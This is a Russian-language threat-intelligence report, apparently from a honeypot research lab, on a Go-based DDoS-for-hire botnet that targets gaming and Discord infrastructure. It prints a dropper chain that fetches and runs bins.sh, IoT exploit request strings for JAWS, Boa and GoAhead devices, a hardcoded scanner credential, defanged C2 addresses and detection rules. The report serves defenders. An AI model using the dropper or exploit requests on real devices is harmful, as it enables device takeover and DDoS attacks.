malware · botnet · ddos · golang · iot · honeypot · gaming · mirai

Внутри игровой DDoS-операции по найму

Kinryū Labs с высокой уверенностью оценивает это как коммерческую игровую DDoS-операцию по найму, работающую на общем билдер-наборе ботнета. Одна и та же кодовая база на Go компилируется разными операторами с их собственными C2-серверами и наборами методов атак; проанализированный здесь флот выставляет самообслуживаемый API по найму с ограничением по учётным записям и живой инвентарь ботов примерно из 28–32 устройств, рассылая заказы клиентов на атаки против игровой и голосовой инфраструктуры. Его командный канал на сыром TCP не аутентифицирован, тогда как регистрация ботов ограничена аутентифицируемым по паролю SSH-каналом.

Автор Davis Zheng·

TLP:CLEAR. Согласовано к публикации. Перехвачено сетью сенсоров-ловушек Kinryū Labs. Индикаторы ниже обезврежены.

Краткое резюме

  • 11уникальных бинарников под 7 архитектур
  • 28-32активных ботов в API по найму
  • 1SSH-способный вариант (Windows PE)

Это DDoS-ботнет на Go с возможностями IoT-червя, распространяемый через мультиархитектурный дроппер (bins.sh) и управляемый как коммерческий DDoS-сервис по найму. Бот подключается к своему серверу управления по сырому TCP, отправляет периодические хартбиты STATS и получает построчно разделённые команды атак. Kinryū Labs с высокой уверенностью оценивает это как функционирующий, ориентированный на игры DDoS-ботнет по найму.

Отличительная черта — асимметрия аутентификации. Командный канал на 9111/tcp не аутентифицирован: между TCP-подключением и рассылкой команд не проходит ни пароль, ни токен, ни запрос-ответ. Регистрация ботов отслеживается отдельно на аутентифицируемом по паролю SSH-канале на 911/tcp, и счётчик ботов API по найму отражает именно эти аутентифицированные регистрации, а не открытые командные подключения. Проанализированный бинарник говорит только по каналу сырого TCP и не несёт SSH-клиента, так что регистрацией занимается отдельный компонент-загрузчик.

Эта операция работает как видимый бизнес. Хост управления выставляет самообслуживаемый DDoS-API по найму с ограничением по учётным записям, публикует живой счётчик своего инвентаря ботов и является одной из нескольких витрин, собранных из одного и того же набора ботнета. За несколько часов наблюдения сервис в реальном времени рассылал заказы клиентов на атаки.

Ключевые выводы
  • Командный канал не аутентифицирован; регистрация — да. Сырой TCP на 9111 принимает команды без аутентификации, тогда как счётчик ботов API по найму отслеживает аутентифицированные по паролю SSH-сессии на 911. Живое тестирование подтвердило, что и сырое TCP-подключение к 9111, и неаутентифицированный обмен ключами SSH на 911 оставляют счётчик ботов неизменным.
  • Флот — это одна кодовая база на Go, скомпилированная множеством способов. Шестнадцать файлов на файловом сервере C2 сводятся к одиннадцати уникальным бинарникам под семь архитектур, все с общим путём модуля Botnet/Bot и флагами сборки -tags=netgo -trimpath=true. Windows PE — единственный вариант с SSH-клиентом; сборки Linux и IoT распространяются через эксплойты сканера и дроппер.
  • Сервис нацелен на рынок игровых стрессеров. Набор методов включает флуды FiveM, Minecraft и Discord, а перехваченные нами живые команды атак были направлены почти целиком на игровую и голосовую инфраструктуру.
  • Фреймворк — это дизайн родословной Mirai, переписанный на Go. Он разделяет структурные паттерны Mirai: неаутентифицированный командный канал TCP, команды с текстовыми разделителями, рассылку по горутине на атаку и IoT-сканер, бьющий по тем же целям эксплуатации, — переосмысленные на Go с методами под игровой рынок, флудами TLS/HTTPS и прикрученным сверху API по найму.
  • Это общий билдер-набор, а не заказной ботнет. Вторичный сервер-дроппер разделяет инфраструктуру с C2 другого оператора, а флоты, собранные из этого набора, разделяют путь модуля, сканер, механизмы закрепления и эксплойты роутеров, различаясь адресом C2 и выбором методов атак.

Набор и его варианты

C2 хостит открытый каталог, раздающий флот ботнета. Шестнадцать файлов сводятся к одиннадцати уникальным бинарникам по SHA-256, охватывая x86, x86-64, ARM (v5/v6/v7), ARM64 и MIPS (с прямым и обратным порядком байтов), плюс Windows PE и минимальная заглушка. Все разделяют кодовую базу на Go Botnet/Bot, скомпилированную с Go 1.26.4, без сторонних импортов, кроме SSH-клиента в Windows-сборке.

Выделяются три момента:

  • Windows PE — единственный SSH-способный вариант. Только bot.exe импортирует golang.org/x/crypto/ssh; полное сканирование строк Linux-сборки amd64 и сравнение между всеми одиннадцатью уникальными бинарниками не нашли SSH-импортов где-либо ещё. Варианты Linux и IoT распространяются через сканер и дроппер.
  • Один вариант — более старая сборка без C2. x866 скомпилирован с Go 1.25.6 против 1.26.4 у остального флота, является самым маленьким ELF-вариантом и не несёт видимого адреса C2; адрес, вероятно, закодирован или подаётся во время выполнения. Он разделяет кодовую базу Botnet/Bot, что привязывает его к тому же оператору.
  • sora.x86 — не ботнет. Несмотря на имя файла, отсылающее к семейству Mirai «Sora», это минимальная Go-заглушка, собранная тем же тулчейном, весь пользовательский код которой печатает sora.x86 is running и завершается, без адреса C2, сканера, методов атак или учётных данных. Скорее всего, она служит сторожевым процессом или приманкой на файловом сервере.

Три перехвата Windows PE охватывают примерно неделю: два байт в байт идентичны, более поздний — меньшая пересборка без символов, а ещё более поздний — полнофункциональная перекомпиляция, отличающаяся от оригинала.

Протокол C2

Командный канал — сырой TCP без аутентификации транспорта. Последовательность подключения такова: опциональное подтягивание конфига (GET /config.dat, проверяемое против встроенного checkcode), процедура закрепления, затем net.Dial к командному порту, после чего бот читает команды, ничего не отправляя первым.

Бот (на хост) SSH · :911 · аутентификация по паролю Зарегистрирован учитывается в /stats сырой TCP · :9111 · без аутентификации Команды атак + хартбит STATS HTTP · :9111/config.dat Конфиг
Оценочный жизненный цикл бота. Регистрация аутентифицирована и определяет счётчик ботов API по найму; командный канал — нет.
  • Хартбит: STATS|%d|%d|%d|%d|%s\n. Последнее поле — ОС или архитектура (например, amd64); четыре целых числа сообщают счётчики атак, подключений, сканирований и заражений.
  • Команды: разделены переводом строки и разбиваются по пробелам, в форме ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. Первое поле выбирает метод, числовые поля разбираются через strconv.Atoi.
  • Переподключение: 120-секундный таймер повторно входит в цикл подключения.
  • Конфиг: учётные данные и конфигурация подтягиваются из config.dat и декодируются кастомным многоступенчатым XOR-шифром (буфер в 4,078 байт, инициализированный пробелами, затем побайтовый XOR с двумя фиксированными байтами ключа, 0x24 и 0x3C). На момент анализа config.dat не отдавался, что указывает: оператор отключил или переместил его.

Методы атак

Бот несёт широкий DDoS-инструментарий, каталогизированный по именам функций и лог-строкам:

Методы атак

Нацеленные на игры: FiveMFlood, FiveMBypass, FiveMTCP, Minecraft, Discord.

Уровень 7: HTTPSFlood (Starting Optimized HTTPS Flood on), Bypass, TLSFlood, TLSPlusFlood, TLSPlusBypassFlood, Priv7Flood (PRIV7 Attack finished).

Уровень 4: TCPFlood, PPSFlood, PPSRawFlood, RawTCPFlood, RawACKFlood, ResetAttack.

Уровень 3: UdpFlood, RawUDPFlood, UDPPPSFlood (Extreme UDP (PPS)), GbpsFlood (High GBPS), DNSFlood.

Специальные / под конкретный хостинг: OVHFlood (нацелен на OVH), GameFlood, FortAttack (Fortnite), Crash, Freez.

Только Linux (нет в PE-сборке): NtpAmp (полная NTP-амплификация; в PE идёт заглушка), HandshakeFlood (TCP SYN-флуд на сыром сокете с подделкой IP), VoultFlood (флуд на сыром сокете с вычислением контрольной суммы).

HTTP-флуды ротируют двенадцать жёстко заданных строк User-Agent браузеров и устанавливают Referer из набора высокорепутационных сайтов (google.com, twitter.com, facebook.com, fbi.gov, reddit.com, bing.com), чтобы слиться с легитимным трафиком и проскользнуть мимо фильтрации WAF.

Сканер и IoT-червь

Сканер брутфорсит учётные данные для входа в IoT-устройства и эксплуатирует несколько веб-стеков встраиваемых устройств: DVR/IP-камеры JAWS (GET /syscmd.htm), веб-сервер Boa на роутерах (POST /boafrm/formSysCmd, POST /boafrm/formLogin) и устройства на базе GoAhead (setUserLogin для обхода аутентификации и создания админ-пользователя, getSanvas для извлечения конфига). Скомпрометированные устройства заставляют выполнить wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.

Учётные данные разделены. Один пароль сканера жёстко задан в бинарнике (555111111!!, с вероятным именем пользователя 555), тогда как основной список учётных данных подтягивается из config.dat во время выполнения и декодируется XOR.

Закрепление использует четыре механизма плюс маскировку процесса: юнит systemd в /etc/systemd/system/sysd.servicedaemon-reload), запись cron через /tmp/cron_tmp, rc.local (/etc/rc.local, /etc/rc.d/rc.local) и init.d (/etc/init.d/boot.local). Процесс маскируется под системный демон с именем sysd.

Операция по найму

Хост управления устроен как бизнес. Он открывает операторский SSH на 22, канал регистрации ботов Go SSH на 911 (аутентификация по паролю, на отдельном ключе RSA-2048), HTTP-API DDoS по найму на 3333, командный канал на сыром TCP на 9111 и файловый сервер с открытым каталогом на 5001, где флот ботов доступен для загрузки.

Клиент платит за доступ заказ API по найму :3333 · по аккаунту команда C2 · :9111 28-32 бота без аутентификации флуд Цель
Сервис по найму. Аутентифицированный заказ (host, method, time, port) превращается в одну команду, рассылаемую по неаутентифицированному каналу инвентарю ботов.

Витрина самообслуживания. API на 3333 — минимальный бутер с единственной конечной точкой. /stats возвращает живой счётчик инвентаря ботов; /api принимает заказ. Он валидирует user и psw, учётные данные аккаунта каждого клиента, наряду с host, method, time/duration и port — параметрами цели и атаки, — и отклоняет всё, чего не хватает или что не аутентифицировано. Форма заказа видна из неаутентифицированных зондирований:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

Форма заказа отображается один в один на командный формат бота (ATTACK_TYPE TARGET PORT DURATION): один аутентифицированный запрос к API становится единственной строкой, рассылаемой по неаутентифицированному каналу 9111 каждому зарегистрированному боту.

Курируемый инвентарь. /stats показывал от 28 до 32 активных ботов с непрерывной ротацией на протяжении окна наблюдения. Поскольку этот счётчик отслеживает аутентифицированные по паролю регистрации на 911, а не сырые командные подключения, это счёт проверенного инвентаря. В этом операционная причина, по которой регистрация и рассылка команд разнесены на два канала: одни ворота, чтобы решать, какие боты принадлежат сервису, и один открытый канал, чтобы ими управлять.

Переход от майнинга к DDoS. Вторичный сервер-дроппер несёт опустошённый miner.sh рядом с DDoS-флотом — остаток компонента-криптомайнера, с тех пор удалённого. Похоже, оператор перешёл от криптомайнинга к продаже DDoS.

Исполнение заказов, наблюдавшееся вживую

Мы проверили реверснутый протокол на живом C2 пассивным монитором и наблюдали работу сервиса. C2 большую часть времени простаивал; за одну многочасовую сессию он разослал тринадцать команд атак, каждая — заказ клиента, отправленный флоту.

Заказы были нацелены почти целиком на игровую и голосовую инфраструктуру: преимущественно игровые серверы FiveM (GTA V) в Google Cloud в Саудовской Аравии, с голосовыми конечными точками Discord в Cloudflare и парой веб-серверов. Мы оцениваем это как ориентированный на игры стрессер-сервис, действующий в конкретном конфликте клиента. Паттерн рассылки читается как оказание услуги: ступенчатые длительности атак, напоминающие продуктовые тарифы (зондирования по 20 с, стандарт по 30 с, длительные по 60 с), эскалация метода (обобщённый флуд для проверки цели, затем протокол-специфичный метод против неё), парная и всплесковая рассылка с последующими паузами, а также двойной удар по обоим IP за балансируемой голосовой инфраструктурой Discord-сервера.

Общий билдер-набор

Это не заказной ботнет. Это одна сборка набора для ботнета, который разные операторы кастомизируют и запускают как собственный сервис. Яснее всего набор виден в сравнении бок о бок с флотом из нашего более раннего отчёта Кроссплатформенный DDoS-ботнет по найму на Go, который работает на той же кодовой базе:

Более ранний отчётЭта операция
Кодовая базанабор на Go Botnet/Botтот же набор на Go Botnet/Bot
ДоставкаJenkins RCE + IoT-сканерJenkins RCE + IoT-сканер
Сканер, закрепление, эксплойты роутеровобщиеобщие
Адрес C2185.226.93[.]2425.175.140[.]178
Набор методов и рынокDDoS общего назначенияигровой стрессер (FiveM, Minecraft, Discord)

Флоты разделяют путь модуля Botnet/Bot, тот же сканер и IoT-эксплойты, те же механизмы закрепления и тот же дроппер, и работают на пересекающейся инфраструктуре: вторичный сервер-дроппер здесь (185.226.93[.]242) — это C2 из более раннего отчёта. Различаются набор методов и рынок. Тот другой флот компилирует набор флудов общего назначения; оператор здесь компилирует игровые методы и поставляет API заказов по найму, нацеленный прямо на рынок игровых стрессеров. Вместе они указывают на экономику билдер-наборов: общая кодовая база, перепродаваемая или передаваемая по рукам, где каждый оператор поднимает витрину с собственными целями.

Индикаторы компрометации

Инфраструктура атакующего обезврежена. Хеши воспроизведены точно.

Сеть

ИндикаторКонтекст
5.175.140[.]178:911/tcpРегистрация ботов (Go SSH, аутентификация по паролю; учитывается API по найму)
5.175.140[.]178:9111/tcpРассылка команд (сырой TCP, без аутентификации; не учитывается)
5.175.140[.]178:3333/tcpDDoS-API по найму (/stats, /api)
5.175.140[.]178:5001/tcpФайловый сервер с открытым каталогом (флот ботов + дроппер)
5.175.140[.]178:22/tcpОператорский SSH (OpenSSH 9.7p1 Ubuntu)
hxxp://5.175.140[.]178:9111/config.datПодтягивание конфига по сырому TCP
hxxp://5.175.140[.]178:5001/bins.shМультиархитектурный дроппер (основной)
185.226.93[.]242:1001/tcpВторичный дроппер (C2 отдельного оператора)
hxxp://185.226.93[.]242:1001/bins.sh, …/binns.shДроппер (вторичный + вариант с опечаткой)
217.60.195[.]229Адрес-источник, доставивший образец
5.175.140[.]0/24Хостинговое выделение

Строки сканера / размножения

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

Артефакты хоста

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

Файлы (SHA-256), Go 1.26.4, если не указано иное

Полные хеши файлов
bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

x86/i386, группа ARM7 (android_arm/arm/arm7/armv7l) и android_arm64/arm64 байт в байт идентичны; arm6 отличается от группы ARM7 несмотря на тот же размер (иная кодогенерация GOARM).

Хостинг

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

Обнаружение

Строки стабильны и необфусцированы, так что сигнатуры прямолинейны. YARA-правило ниже — кандидат, построенный из характерных строк; валидируйте перед развёртыванием.

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

Дополнительная логика обнаружения:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

Ремедиация

  • Не выставляйте в интернет Jenkins и другие CI/CD- и админ-интерфейсы. Это был вектор доставки.
  • Патчите или сегментируйте IoT-устройства на базе JAWS, Boa и GoAhead и блокируйте внешний доступ к их админ-интерфейсам. Это цели размножения сканера.
  • Блокируйте инфраструктуру C2 и дроппера на периметре (5.175.140[.]178 и дроппер 185.226.93[.]242:1001) и алертите на подтягивание config.dat и цепочку выполнения bins.sh.
  • Алертите на артефакты закрепления и имя процесса sysd, а также на паттерн хартбита STATS| в исходящем трафике.

Сопоставление с MITRE ATT&CK

ТактикаТехника
Initial AccessT1190 Exploit Public-Facing Application (доставка через Jenkins; эксплойты веб-стеков IoT JAWS / Boa / GoAhead)
ExecutionT1059.004 Command and Scripting Interpreter: Unix Shell (дроппер bins.sh)
PersistenceT1543.002 Systemd Service (sysd.service); T1053.003 Cron; T1037.004 RC Scripts (rc.local); загрузочный скрипт init.d
Defense EvasionT1036 Masquerading (имя процесса sysd; подделка браузерных User-Agent и referer); T1027 Obfuscated Files or Information (XOR-кодированный config.dat)
Credential AccessT1110 Brute Force (вход в IoT-устройства)
DiscoveryT1046 Network Service Scanning (IoT-сканер)
Command and ControlT1071.001 Web Protocols (config.dat); T1571 Non-Standard Port (911, 9111, 3333, 5001); T1105 Ingress Tool Transfer (мультиархитектурный дроппер)
ImpactT1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord); T1498.002 Reflection Amplification (DNS / NTP)

Методология и заметки

  • Анализ — статический реверс-инжиниринг плюс пассивная валидация протокола вживую; бинарники никогда не запускались.
  • Индикаторы обезврежены, хеши воспроизведены точно.
  • Образцы доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). Внутри игровой DDoS-операции по найму. https://kinryu.sh/ru/reports/gaming-ddos-for-hire-operation/